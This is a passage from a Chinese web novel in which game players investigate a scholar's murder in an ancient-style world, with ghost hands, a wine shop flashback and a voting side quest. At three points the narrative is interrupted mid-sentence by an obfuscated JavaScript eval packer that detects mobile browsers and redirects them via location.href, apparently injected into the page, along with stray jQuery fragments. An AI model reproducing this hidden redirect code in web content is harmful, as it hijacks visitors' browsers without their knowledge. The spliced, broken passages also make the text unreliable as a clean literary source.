“不知道。”三三两手平摊,回复得干净利落,“我没有得到任何和死者有关的线索就被捕快带了过来。” 奥若拉脆声应和:“我也是。” “既然被带过来,那就肯定是你我的身份与死者生前产生过联系纠缠。” 戴荆月右手轻按左手的拇指关节,“游戏不可能一直把我们困在这里,它一定会让我们有机会出去找线索。” 话音刚落,铁门上的锁凭空松开,哗啦一声砸到地上。 六人惊愕望着大敞的门,奥若拉惊喜扭头看向戴荆月:“亲爱的,你说的机会来了。” 被五双眼睛注视的戴荆月硬着头皮:“……嗯,我们走吧。” 地牢终年不见天日,藓类漫生、阴湿幽冷。狭长的通道竟没有出现任何一个狱卒,几人轻而易举便解锁“越狱”成就。 直到走到外边天光大亮,戴荆月才做了个深呼吸,吐出牢内浑浊的空气。 “我们是分头行动还是一起?”张小妹出声询问。 寸头男冷笑:“你放心让凶手一个人?说不定他就销毁了什么有用线索。” “我同意。”一直沉默寡言的书生开口。 三两句话的功夫,六人达成共识,一致决定先去山上案发地。 密林遮天,野草蔓蔓,筛下稀疏的阳光。黄南的尸体已经不在了,只有狰狞石头上凝固的猩红色昭示着这里的过往。 戴荆月看向故事线里报官的王阿婆奥若拉:“你是在这看见的?” “我也想知道,很可惜当我得到身份后,这里只剩下一滩血迹了。”奥若拉的语气听起来颇为遗憾,似乎真的在为自己没能直击尸体第一现场而感到遗憾。 书生多看了奥若拉两眼,没吭声。 望着那抹殷红色,寸头男摸着下巴猜测:“难道是撞到石头死的?” 三三睨了他一眼:“真要是撞石头身亡,就不会只流这点血。” 蹲在地上仔细排查的戴荆月同意这个观点。出血量太少,不足以构成致命伤。 “黄南的尸体呢?”她直起身,语气凝重。 奥若拉摇头叹息:“没了,他家人非要闹着火葬,烧成一缕灰。” 这个时代的刑侦水平显然不高明,验尸报告更是天方夜谭,戴荆月本来的想法是自己来检验尸体。尽管她不是相关专业学生,但高中时期选修过相关课程,怎么说也算个半吊子。 可惜现在最重要的线索没了。 “好吧,那只能通过别的……” 清晰的话音戛然而止,本在说话的女生后背倏地沁满冷汗,僵硬着一点一点低头,直直看向骤然冰凉下来的脚腕—— 上面扣着一只苍白的断手。 “啊!” 不知是谁尖叫了一声,宁静的山头瞬间陷入一派混乱。 脚上的土地仿佛从冬眠中缓缓苏醒,地底毫无预兆生出无数断肢残臂,如有神智般四散着攥住呆在原地的六人。 被断裂鬼手揪住的奥若拉后知后觉:“忘记讲了!我听说这里以前是乱葬岗,所以这座山叫安神山。” “你怎么不等游戏结束再说呢?!”寸头男四肢都被冒出来的鬼手紧紧压在地上,更有数不尽的手争先恐后缠住他,甚至蠕动着试图钻入他大张的口中。他吓得立即闭上嘴,不再吭声。 想要摆脱这些玩意很简单,戴荆月只需在甩开它们的那一瞬化作飞鸟即可。 然而在场的玩家都还在徒手和鬼手们干架,还没有谁化为兽形,戴荆月自然不会傻到率先暴露自己。 她右手猛一发力,青筋突起,硬生生将鬼手从腿上拽下来。一阵撕裂般的痛意直窜大脑,脚腕处的皮肤已然血肉模糊。 “大家小心,这些东西一旦沾上皮肤就会黏在上面。” 不远处,书生身份的男生急声提醒,向上摊开的掌心中赫然是血淋淋的两只鬼手。 鬼手仍在源源不断钻出来涌向几人,玩家们根本应接不暇,非但没能清楚它们,反倒是自己先变得浑身是伤。 眼皮上的汗珠滚入眼中,刺挠得人不由自主闭眼。戴荆月当机立断:“不能再和它们耗下去了,我们先离开这里!” 说话间不忘干净利落撕下粘在身上的鬼手,率先向山下冲去。 直至抵达山脚的土路,她才停下脚步,胸膛剧烈起伏,轻喘着气。 如果说第一个游戏时她还全然不知,在第二个游戏里,她已经隐约领悟游戏的调性—— 于每一个看似云淡风轻的场合出其不意异化,杀玩家一个措手不及。 当时的兽人、如今的鬼手,简直就是如出一辙的套路。 紧随她身后的是奥若拉和书生,再几分钟之后赶下来的是三三和张小妹。 “住持呢?”戴荆月没再看见山路上出现人影,下意识蹙眉。 张小妹语气平淡:“死了。” 看见戴荆月骤然睁大的眼,她多补充了几句: “扑向他的鬼手最多,他根本挣脱不开,即便兽化了也还是鬼手占优,所以他被吃了。” 难怪不久前她听见山上传来几声兽嚎。当时还以为是寻常野兽,如今看来大概是兽化了的寸头男。 这还是她第一场在游戏里直面生死,虽然看起来还是面无表情,但眼神中多了几分微弱的茫然。 “在游戏里死了会怎样?” “直观的是扣积分、掉排名。但死亡不同于普通的输游戏,它还会对人的精神力造成损伤,恢复需要很久。” 戴荆月微微颔首。 一旁的奥若拉眨了眨眼,自然搂过戴荆月的肩膀:“亲爱的,你害怕了?” 这一次她甚至没对肢体接触作出什么反应,只是淡声:“不害怕。” 不过是突然意识到游戏里也有生死。 山上待不下去,三三拭去指尖残留的血滴,声音因奔跑有些哑:“现在我们去哪?” 迅速调整好状态的戴荆月和一直没什么存在感的书生不约而同开口:“每个人的初始地点。” 戴荆月意外扬眉,算是对这人的认可。 书生轻巧一笑:“我们还挺有默契。” 是挺有默契,越来越像她印象里的那个人。 离这里最近的自然是王阿婆的小屋。在奥若拉的带领下,五人在门口齐齐打量着这间看起来随时有坍塌风险的茅草屋。 “这能住人?” 面对质疑,奥若拉必须维护一下自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662253|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己初始地图的尊严:“当然能,不仅能住人,还能在里面闯迷宫呢。” 迷宫? “我的破局困境就是走出草屋里的迷宫,找到最终的出口。” 直到缓步踏入,戴荆月终于领悟了迷宫的奥义。王阿婆简直就是收集狂魔,看似容量不大的茅草屋里堆满了乱七八糟的杂物,包括但不限于旧书册、拨浪鼓等等,难怪奥若拉在里边闯迷宫幻境。 奥若拉一边引着大家往里走,一边简单讲述自己的经历:“破解迷宫后我获得了身份,很快就有人敲门问我黄南的事,我也是从对方口中才听得一些线索。” 一个时辰前。 在巨型版本的草屋里终于找到出口的奥若拉气喘吁吁走出门,收到了游戏分配的身份。 “纯善的王阿婆?不能违背人设?”奥若拉小声嘀咕,“怎么才能判断一个人善不善良呢……” 游戏没有给她答案,她也没想着得到回复,先是绕着草屋走一圈,看清了里边的陈设。王阿婆是个寡妇,平时一个人住,屋里边却摆有不少小孩子的玩具。 彼时的奥若拉还不知任务,于是翻箱倒柜试图碰瓷出主线。可惜除了把收纳整齐的东西翻到一团糟以外,没有得到任何有效信息。 但是很快,消息自己送上门来,来者是一个瞧着精神矍铄的阿婆。 “老王啊,我听说你今天上山遇着尸体,真的假的啊?”阿婆走进屋子,熟练地往榻上一坐,“你今天屋里怎么翻这么乱,又想你闺女了?” 一脸茫然的奥若拉急中生智:“哎,是这样啊。” 寥寥五个字,同时回复对方两个问题,且自然真实不做作。奥若拉满意地为自己点赞。 阿婆果然没觉察异样,凑近奥若拉神秘兮兮:“那个后生已经被人拖走了,模样可渗得慌,头上全是血,你当时瞧见了吧?” “我没仔细看呢。”奥若拉继续采用万能回复话术,少说少错。 阿婆点点头:“不看是对的,太吓人了。” 两人在屋里聊了不知多久八卦,奥若拉演得都有些累了,精神气足的阿婆终于提出要回家休息。 将对方送出门,奥若拉还没松口气,就被捕快找上来说这件事她也有嫌疑,强行带回阴暗的牢房。 …… 眼下最重要的还是破局,奥若拉慷慨分享经历,至于隐瞒了多少或许只有她自己知晓。 先前牢房里自我介绍时,大家默契地都没有提人设,但也都清楚,对方肯定都有符合设定的要求。一款合格的游戏,应该对所有玩家是公平的。 正因如此,没人会愿意暴露自己的弱点。毕竟违反三次,游戏直接失败。即便是看起来最莽撞的寸头男对此也缄口不言。 听完奥若拉的讲述,戴荆月若有所思:“所以,最后一个接触黄南的人是你。” “嗯?”奥若拉慵懒出声,“你的意思是在怀疑我?” 戴荆月表情恬淡:“合理推测,只是说你是最后一个接触的,没说杀他的人是你。” “你要知道,我看见他的时候已经是尸体了。”奥若拉被怀疑也不恼,兴致盎然地同戴荆月争辩。 “所谓供词都在于人,你说最后见到他时是尸体,也没人能证实真伪性。” 奥若拉无言,嘴角勾起笑容,脸颊的小梨涡俏皮可爱:“有道理哦亲爱的,说不定……我还真是最终凶手呢。” 12. 密林旧事(4) 这是一场注定无果的争辩,戴荆月和奥若拉没有相互纠缠拖耗下去。 然而真正打断二人争辩的,是那堆突然暴走的柴火。一根根粗粝尖利的木条倏然腾空,如万箭齐发,精准刺向五名玩家。 王阿婆家里囤的薪火又多又杂。此时粗棍与细枝齐飞,干草共叶丛一色,满天飞舞仿佛神兵降世,他们反倒成了误闯私宅的歹人。 戴荆月猛地向后一躺,浑身毛刺的柴擦着她的脸呼啸而过,激起一阵可怖的厉风:“快跑!” 不用她多说,大家早已狼狈跑出院,个个衣衫凌乱、身上挂彩。而一退出草屋范围,柴火堆瞬间偃旗息鼓,噼里啪啦落回去,摞得整整齐齐。很显然,草屋下了逐客令。 几人只好远观柴火堆,心有余悸地作地点一的陈词总结: 生活清贫,喜好收集,女儿未知,存在嫌疑。 下一处是戴荆月的“月下酒铺”。 酒铺就她一人经营,被捕快带走后铺子也暂停营业。因此里边空荡荡,徒留桌面上的一只只湿碗。 戴荆月带着大家看了一圈酒坛,惹得喜好饮酒的三三蠢蠢欲动:“能尝尝吗?” “……” 她为三三盛了一碗招牌“月下酿”,三三小口品咂,舔了舔嘴唇的水光:“好喝!” 也许是受到人设的影响,戴荆月不由得与有荣焉,黑眸中闪过得意的神色。 等待三三喝酒的途中,隔壁的鱼贩子忽地从门边探出脑袋,好奇嚷道:“哎月姐,你回来啦?这事和你没关系吧。” 一句友好关心,五人如临大敌。 不怪玩家们集体警戒,这是探索途中遇见的第一个npc,正邪尚且不详。要么是一方送线索,要么是一方送人头。 内心当然倾向于前者的“东家”戴荆月声调高扬,咧开灿烂笑容:“放心,和我当然没有关系。” 她可没忘记自己需要维持掌柜爽朗的形象,不明所以的其他人倒是有些诧异素来面无表情的女生为何瞬间开朗。 往里走的鱼贩子没察觉气氛异样,兀自点头:“那就好,我还担心他们冤枉你呢,毕竟当时那人身上酒气冲天,是月下酿的味道!” ……月下酿?! 戴荆月紧绷着声音:“他身上有月下酿的味道?” “可不嘛,咱一闻就知道,只有你家酒是那股味。不知他是不是来你家喝过酒,总之浑身沾着的都是……啧,不说他了,晦气!” 她本还想继续追问下去,却见鱼贩子抽动酒糟鼻,来了一句相当生硬的转折:“哦对,刚这么一说,我又有点想喝酒了,月姐给我来点呗。” 戴荆月:“……” 古代燕国的地图还是太短了。 腹诽归腹诽,出于感激大哥送来的线索,她给对方白盛了一碗。 烈酒下肚,鱼贩子心满意足打了个嗝:“嗐,我只是来看看你。既然你没事,我也就先回去了。”说着,便拍打肚皮准备离开。 即将踏出门前,他又突然转身:“哦对。” 还来? 戴荆月紧盯着鱼贩子,他却仅仅是传达了一句话:“虽然你不领救济粮,但还是告诉你一声,最近少去救济点那块。” “那里怎么了?” “有人喝了米粥后中毒了。” 吐露完信息,鱼贩子终于大摇大摆地离开。待腥味越来越远,长时间屏息的玩家们才刷地开始呼气,脸涨得通红。 方才还嫌弃酒铺酒味太浓的几人,现在只感激戴荆月没有加载在鱼铺,顺带佩服她居然能和鱼贩子聊得有来有回。 对此,见过大世面的戴荆月表示:坐一次廉价列车你们就懂了。 “亲爱的,现在可能性最大的凶手,好像不是我了哦。”奥若拉眯眼一笑,颇有点幸灾乐祸的意思,“你说你家的酒怎么会出现在黄南身上呢?” 戴荆月没说话,嘴唇抿成一条线。 就在刚刚,她才猛然意识到一件事。 先前听完游戏的提示音,她惯性以为凶手知道自己的凶手身份,否则游戏为什么会让凶手务必小心。 但有没有一种可能,凶手其实不知道自己是凶手? 原想这只是一场找线索破案的推理游戏,凶手知道自己的罪行,需要隐瞒真相和其余人斡旋。 可现在看来,似乎远不止如此。 推到这里,戴荆月仍咬着下唇没松,眼神微凛。 不对,还是不对。 如果凶手不知道自己是凶手,反而需要靠和大部队一起获得线索才能知晓真相,那么这场游戏对于凶手而言未免太不公平。 既然是游戏,就必定是公平的。 假设真的是自己推理出的第二种情况,为了可玩性和公平性,游戏一定会在某些方面补偿凶手。 而她只需要等待、观察、发现过程中出现的异样,或许就能顺藤摸瓜找出真凶。要是最后发现自己是真凶,那就好好陪大家演一演。 逻辑得到理清,埋头苦想许久的戴荆月一身轻松抬眼,恰好与正对面的张小妹的视线撞了个正着。 戴荆月:“?” “你现在回神了?”张小妹看着她,语气不太确定。 她的脸上有些迷茫。 什么回神不回神的。 书生解释:“刚刚我们叫了几声你都没理,可能是在走神想事情,所以她问你回神了没有。” 习惯性独处的戴荆月没怎么遇见过被一伙人等着回神的情况,大多数时候没人在意她走没走神,必要时刻也会被强制召唤。鉴于自己也不是优质社交同伴,她没觉得这有什么问题。 猝不及防听人这么说,讲不清心里是什么滋味。但戴荆月表面上没有体现出任何波动,照旧开口:“抱歉,你们想和我说什么?” 张小妹接过话茬:“刚刚在草屋我们就说好,信息有限不做有罪推定。所以大家商量在酒馆里再检查一遍就去救济点,行吗?” “行。”她认可这个安排,与此同时,“你们不必非要问我的意见。” 谁知张小妹摇了摇头。 “既然是集体行动,而且只有五个人,每个人的意见都应该采纳。” 集体活动里被孤立惯了的戴荆月第一次听见这种理论,有些新奇。书生若无其事瞥了她一眼,眉心微凝。 方案得到全体通过后,五人再度探索起这间酒铺。有了前车之鉴,大家提前做好“酒铺闹事”的准备。 年轻的张小妹紧攥着手中捡来的碎石,估计能砸碎一个大酒缸。方才徒手掰断偷袭木柴的三三正在拉伸手臂。 奥若拉溜达在队伍最后,打算如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662254|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有不测立即夺门而出。书生和戴荆月没有什么明显的动作,但也绷紧了浑身肌肉。 凝重的气氛中,酒缸酒坛不负众望地开始咕噜咕噜。空气里醺醺然的气味愈发浓烈,酒铺的各个角落里凭空涌出来黏稠的液体,带着刺鼻的味道从四面八方流向玩家们。 早有准备的五人没再拖延时间,在这之前就纷纷跃出门槛,迅速结束了这场丛生的乱象。 救济点和酒铺距离很近,都在安神山脚。尽管鱼贩子说毒了人,现在大树下排队取米粥的人还是相当不少。戴荆月扭头看向张小妹:“你来过这吗?” 后者点点头,主动交代:“这里就是我的初始地点,我刚流亡到这不久,破除幻境后就在底下排队取粥。” 救济处人来人往,大多是衣衫褴褛的平民百姓们,排着队等一碗稀水般的粥。即便如此,他们依旧双眼放光,呼噜呼噜一饮而尽。 平日里尚且有食不果腹者,灾年荒年无非是往更多人的脖颈套上死亡的绳索。 五人刚在队伍一旁站定,就听见队伍前头有人灌下稀薄的粥水,唏嘘道:“怎么还有人来呐,这点份量供不够的喽。” 此言一出,排在队伍后边的一个干瘦汉子猛然蹿出来,直接扑到救济点最前,干瘪的双手扣着那施粥的官员脖颈,怒目圆睁:“给俺盛……再不吃俺真的要饿死了!” 官员吓得一哆嗦,木勺失手掉进锅里,声音抖得不成样:“得、得排队领……” 周围的百姓涌了上来,七手八脚围着汉子将他拖开,浑浊的眼珠里没有同情,语气里尽是鄙夷愤怒:“就你饿?咱们都饿!懂不懂先来后到!” 推搡之间,汉子被人掼倒在地,混乱中又不知被谁踩了几脚,破衣裳浑身是脏鞋印。他蜷缩着抽搐了两下,没动静了。 从汉子暴起到倒地,整个过程不超过五分钟。 “他好像死了。”奥若拉眨了眨碧蓝色的眼睛,平静陈述。 戴荆月走过去探了探鼻息,摇头:“没呼吸了。” 汉子就这么轻飘飘死在众人面前,究竟是被饿死的、打死的还是踩死的,人们不得而知。 奥若拉无奈:“没想到还要来目睹一场闹剧。” 三三和张小妹的注意力没在这上边耽搁太久,俩人正试探着问周围群众关于“中毒”的消息。 唯有戴荆月仍在久久凝望汉子倒地的方向,少顷后幽幽出声:“黄南有可能来过救济点,甚至也和人起过冲突。” 书生瞬间明白了她的意思。 游戏特意在救济点为玩家们呈现了一场死亡,背后的意图究竟会是什么。于是戴荆月理所应当地想到黄南,只有他,是这场游戏被关注的唯一主角。 “张小妹。”戴荆月径直喊出对方的身份。 刚和一个大娘交涉完的女生回过头,接收到戴荆月落在自己身上的目光:“怎么了?” 戴荆月定定望着她:“黄南来过救济点吗?” 张小妹有些怔忡,垂头思索。良久,她犹疑开口: “他好像来过,当时我排队时,依稀听见有人问怎么今天没有见到他……” 得到了想要的消息,戴荆月了然点头:“那就对了,他有极大可能是这里的常客。” “救济点包含的信息不止和中毒相关,还有黄南。” 13. 密林旧事(5) “什么?那人叫什么?黄龙?我可从没听过这号人……哦,是黄南啊?那也不认识。” “黄南我倒知道,前两天才中秀才嘛!你说他整天游手好闲的,怎么就考上了呢?要不我也去考个试试,成了还能免徭役嘞。” “你们说中毒啊,昨天确实有人中毒了,但喝粥的人那么多,偏偏就他出事,谁知道是不是他自己有问题。” …… 树荫底下,五个人身心俱疲,相顾无言。他们从队伍末尾一路问到最前头,连坐在路边喝粥的人也没放过,得到的有用信息依然寥寥无几,唯一能确定的只有两件事: 第一、黄南确实经常来这喝粥。 第二、没人知道中毒的人是谁。 按照玩游戏的套路,中毒者多半就是黄南,至少也和他脱不开干系。可眼下空口无凭,再怎么说也只是空想。 一轮询问下来,嘴皮都快磨破了,一个个嗓子干得冒烟。 “啊——”奥若拉懒洋洋打了个长长的哈欠,眯眼望着天边的飘云渐次染彩,“太阳快落山了,我们待会去书生那里吧。” 三三点了点头,也掩着嘴打了个哈欠,两眼湿漉漉的。 哈欠可能会传染,剩下的三人也未能幸免,接二连三打起哈欠,空气中弥漫着昏睡因子。 书生抬手拭去眼角的水光:“奇怪,我居然觉得有些困了。” “我也是。”戴荆月的脸色谈不上好,不知在想些什么。 这里的人基本上日出而作、日落而息,他们打哈欠倒也算符合节律。 古怪的是,从玩家们破解幻境到现在不过也就一个下午的时间,身体可能会累,但绝对没到困的程度。 一股奇异的预感电流般突然窜至大脑,戴荆月脱口而出:“大家小心。” “嗯?”奥若拉循声望去,疑惑不解,“小心什么?” 戴荆月无意识捏起指节,表情有些迷惘:“……我也不知道,但很快就会发生什么。” “怎么神神叨叨的……”三三嘴上小声嘀咕,却不由自主屏息凝神。 话音方落,天边的夕阳倏地消失,黑夜鬼魅般吞噬了整个天地。一阵天旋地转袭来,待五人清醒,树底下的五人竟回到了阴暗幽森的牢狱之中! 同时回来的不止有他们,还有一截小小的、冒着烟的香火。 “这是什么?”张小妹皱眉盯着那点微光。 书生淡淡吐了两个字:“香火,是住持。” 大家或多或少被这个意料之外情理之中的猜想惊到,谨慎围着那柱香不敢凑近。 唯有戴荆月站在相对外围,看似冷静的表面下是一颗扑通扑通急速跳动的心。 她不知该从何解释起方才的感受,犹如一个久冻者与东风并立,扑面而来的灵气渗入经脉、疏通瘀堵,乌鸦抖落黑羽乘风而起,展翅翱翔于万里青空,天地万物尽揽入眼。 那瞬间,她在空中看见了他们的未来——黑雾影影绰绰,雾中隐约盖着一只铁笼,而铁笼中央是一颗闪闪发光的夜明珠。 体内每一根神经都在不断叫嚣着警觉,于是有了方才的下意识提醒。 如果铁笼意味着牢狱,那么宝珠代表什么,有什么东西是能被称为夜明珠的…… 狭窄的监牢里,五人的困意愈来愈浓,哈欠连天。戴荆月靠坐在墙角,眼皮上下打架,却还是强撑着一丝清醒,紧揪着自己的大腿肉。 直到听见身侧不知谁的轻微呼噜声响起,终于压不住困意的她彻底丢盔弃甲,陷入了昏睡之中。 不知睡了多久,当她再度睁开眼时,映入眼帘的却不是幽闭的砖墙,而是敞亮的酒铺。 此时正值傍晚,人声鼎沸。 她这是……穿回来了? 铺内坐着不少人,欢声笑语正闹腾。坐在原位上的戴荆月环顾四周,没再看见其他玩家。莫非只有她回来了,还是说大家回到了各自的初始地图里…… 正思忖着,斜前方的声量陡然增大,似是有人在争吵。 她急着没凑过去,留在原地盘思路。 奈何争吵声愈发激烈,一方小木桌被人猛一推开,桌角刮过地面,发出刺耳聒噪的剐蹭声。 “月姐快过来看看,这有人要打起来了!”有围观群众朝她大力摆了摆手。 思路彻底被打断的戴荆月烦躁地抓了抓头发,轻啧一声,起身快步上前,利落伸臂拦住了一位正怒目瞪视的妇人。 妇人对面是个穿着灰扑扑长袍的男人,嘴唇不住颤抖着,似是气急。 “发生什么了?”她的目光依次扫过眼前的一女一男。 被拦住的妇人看向男人的目中带着赤裸裸的不屑,声音狠厉:“能发生什么,当然是遇上贼了!你自己没钱,就来干偷鸡摸狗的事情?” 身材瘦小的男人出言反驳:“你这话就不对了,我们读书人的事情,那能叫偷吗?” 听着两人一来一往,戴荆月心里顿时明白了大半。 男人行窃被人发现了。 她蹙眉盯着尖嘴猴腮的男人:“将偷拿的东西物归原主,然后请走吧,铺子里不欢迎你。” 听了这话,男人像是误食巧克力的狗,当场龇牙咧嘴爆发:“呵!开个破酒铺真当自己了不起了?老子可是刚中了秀才的读书人,肯和你们这种目不识丁的人说话那是瞧得起你们!” 戴荆月懒得同这种人多费口舌,不等嚷嚷完,便手臂一展攥住对方后领,几乎是半提半拽将他拖出了酒铺大门,顺手将人往外一搡。 随即,她转身便朝店内扬了扬手:“小事一桩,大家继续喝,别在意这点小插曲。” 掌柜从前是江湖中人,骨子里透着一股意气风发与豪迈不羁。待在这个身份限制下的戴荆月,在和人周旋的潜移默化间也逐渐将这爽朗酒铺掌柜的做派拿捏得愈发纯熟。 谁知脚刚准备迈进铺子,脑后骤然袭来一阵凉风。 她几乎是本能地向侧边拧身避让,同时夹着风声狠狠挥出一记重拳—— 砰!拳锋正中男人的腹部。 男人闷哼一声,整个人低空飞出,重重砸落在离门不远处的酒坛子边,蜷缩身子不住哆嗦。 挤在铺里看热闹的客人被这一动静吓得够呛,看着男人要死不活的样,全如受惊的鸟儿般四散开来。险些被男人撞到的客人更是握着碗的手一抖,半碗酒稀里哗啦全淋到躺在地上的男人头上。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662255|188499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>门口的戴荆月则有些惊愕地打量自己泛红的右拳。 她的身手属于比上不足比下有余的类型,没有经历过什么专业训练,全靠儿时打架,以斗殴促武学。 刚刚那一拳力道猛、架势稳,拳风凛冽,不太像她能打出来的,更像一个隐于市井的武林高手。 是月姐。 不是她,而是月下酒铺原来的掌柜,真正的月姐。 在整场游戏中,戴荆月都是直接顶替了“月姐”的身份,扮演她的人设。既没能继承月姐的记忆,也没有月姐的能说会道,仅是或多或少在游戏设定下沾染了一些江湖人的气质做派。 可是偏偏现在,“月姐”的能量忽然出现了,甚至帮着她狠狠揍了这个男人一拳。 为什么。 为什么是现在。 为什么刚好是揍这个人。 嘴唇轻轻吐出一口气,戴荆月走到浑身湿透的男人旁边,观察到对方的胸口还在起伏后,抬脚用脚尖不轻不重点了点他的侧腰:“别装死。” “问你几句话,好好回答。” 地上的男人哼哼唧唧,偏过头去权当没听见。 耐心告罄的戴荆月加重了脚上的力气,使劲碾在他的腰上:“你说不说?” “哎哟!”男人顿时疼得叫唤,浑身抽搐着。 她没收力道,依旧稳稳踩在他的腰上,声音冰冷:“你是谁,叫什么?” “……” “不说是吧,那我现在就……”戴荆月眉心一跳,正想采取一些暴力逼供法,却见男人突然暴起。 “我说!我说!你不要举报我!” 举报? 戴荆月眯着眼,心底掠过一丝异样。事情的发展似乎与她预想中不太一样。 就在这迟疑间,男人小声嘀咕:“我叫黄南。” 名字一出,戴荆月凝紧的眉豁然松开,从牢狱穿到这里的一切疑惑瞬间都得到了合理的解释。 原来她根本不是回到了当下的时间点,而是径直穿到了过去,穿越到黄南还活着的时候。 而当下身处的时空,很可能就是黄南死亡那日。 思绪想清楚的刹那,面前的场景又异变了。 酒铺里的人散去大半,和黄南争执的妇人也消失不见,此时正寂寥冷清。 暗黄色的天空卷着残云,掠过几只黑鸟。 面前的黄南还是那个黄南。他浑身湿透,粗布衣上还浸着半碗泼酒的浊渍,正面色惨白躺在地上。 而他不久前还完好如初的额头此时却高高肿起,皮肉外翻,暗红色的血痕如蛛网般爬上他的皮肤,看起来像是被什么东西砸了一道。 戴荆月忽然间失去了对身体的管控权,只能眼睁睁看着自己用手探了探他的鼻息,旋即快速闭店关门。 她将倒在地上的男人生生拖到了不远处的树下,头也不回地离开,嘴里喃喃自语:“当真是晦气,揍一拳就要死要活的,死也别死我店门口。” 夕阳下,躺在树底下的黄南毫无动静。眼前的场景也逐渐变色失焦,即将堕入一片漩涡。戴荆月一言不发,顺从着感知身体的抽离。 刚刚经历的,恐怕才是真正的黄南死亡日。 14. 密林旧事(6) 翌日,戴荆月在一片黑暗中悄然睁开眼。 蜷在墙角睡了一夜,枕着的两条手臂齐齐发麻,像流畅的肌肉加载出错卡出马赛克雪花屏,连稍微挪动一下手指都费劲,从后脑勺到肩颈一片更是鼓鼓囊囊胀得发痛。 酒铺的经历就像是黄粱一梦,如今大梦初醒,梦散人归。 轻微的鼾声渐弱,其余几人迷迷糊糊坐了起来,眨着惺忪的眼,看起来睡得都不太好。 她不着痕迹地扫视了一圈,每个人脸上都写着疲惫,眼下乌青一片,眼皮鼓起发肿,无从推断他们是否也经历了同样的穿越。 三三转了转脑袋,轻揉着后颈的肌肉:“所以游戏想方设法把我们传送回来,就是为了让我们睡一觉?” “或许呢,游戏的恶趣味谁知道。”奥若拉伸了个懒腰,关节发出轻微“咔哒”声,她懊恼地撇了撇嘴,似乎对自己硬邦邦的身子颇为不满。 陌生的男捕快就是在这时走入监牢的。 他冷淡地扫过面前五人,又瞥了一眼地上不知多久前就熄灭了的香:“醒了?” 打量着这张生面孔,戴荆月疑问:“你们是轮岗制?怎么换了个人。” 昨天来这的捕头是个年长的女性,她仍记得对方开口时言辞间流露的威严,眼前这个陌生男捕快则像个新来的,尽管他看起来很想营造不露自威的气质。 男捕快没因为戴荆月的出言不逊发怒,甚至还解释了一句:“黄捕头今天有事。” “她姓黄?”书生冷不丁问了一句。 捕快点头。 戴荆月和书生默不作声交换了个眼神,各自读懂对方眼中的意思。 黄是大姓,有极大的可能捕头和黄南只是单纯撞了姓氏,但哪怕二人有一丝相关的可能性,他们也不能轻易放过。 面前的男捕快不清楚二人的弯弯绕绕,清嗓子啐了口痰:“不说废话,我今日前来,是给你们一个机会。” “嗯?”奥若拉好奇地抬眼,“什么机会?” 男捕快看了她一眼:“交出真正的凶手,其他人就可以立即出狱,如何?” 叮咚一声,游戏提示音响起: 【恭喜触发游戏支线!】 【支线任务:欢迎来到晨间审判庭,请将你觉得嫌疑最大的凶手写在面前的光屏上,得票最多的玩家将在今日触发“首当其冲”诅咒,若平票则本场审判作废】 【补充说明:“首当其冲”效果指该玩家在游戏中将会优先承受出现的一切困境,成为所有伤害和袭击最心仪的攻击对象,在TA死之前,其余玩家不会受到任何攻击哦】 莫名其妙触发支线任务,几人面上呈现难掩的诧异。而对游戏提示音毫无反应的男捕快还在试图说服: “关在牢狱里边不好受吧,抓住真凶,我们自会放了无辜之人。” 戴荆月抿着唇盯着面前浮动的淡蓝色光屏。支线任务都触发了,还能有拒绝的选项吗? 每名玩家都只能看见自己面前的光屏,屏幕上有一蓝色的书写框,指尖轻触便能写字。 看几人为难的表情,捕快主动退出了牢房:“你们可以再想想,我不打扰。” 等他的脚步声完全消失,谨慎的玩家们才小心翼翼开始讨论。 “这要怎么选?”三三托着下巴冥思苦想,少顷眼睛一亮,“诶有了!要不我们都选住持,反正他已经死了!” 话音刚落,游戏便发出警告: 【注意:若得票最高的为已脱队玩家,效果将随机分配给任一玩家】 提示音打破了玩家们投机取巧的侥幸心理,张小妹烦躁出声:“那现在怎么办?” “不,规则不对。” 从一开始就觉得规则有问题的戴荆月目光定定落在地面上的小半截香上,“规则是要求我们选择嫌疑最大的凶手,万一我们认定的凶手就是住持呢?那也要被迫承受‘首当其冲’的负面效果吗?” “除非……” “已脱队玩家不是凶手。”接话的是书生,他看了戴荆月一眼,弯了弯唇,“月姐,我说得对吗?” 戴荆月神色古怪地看着这个人。 讨论剧情就讨论剧情,莫名其妙笑什么,还问自己说得对不对,整得好像她的想法是什么金科玉律。 但问都问了,戴荆月还是没驳人面子:“嗯,有这个可能。” “但是还有一种情况,那就是游戏故意刁难,真凶没有活到最后,作为玩家的我们需要承担相应的代价。” 张小妹面色不虞:“自身实力不济而死,这也要推到别人身上吗?” 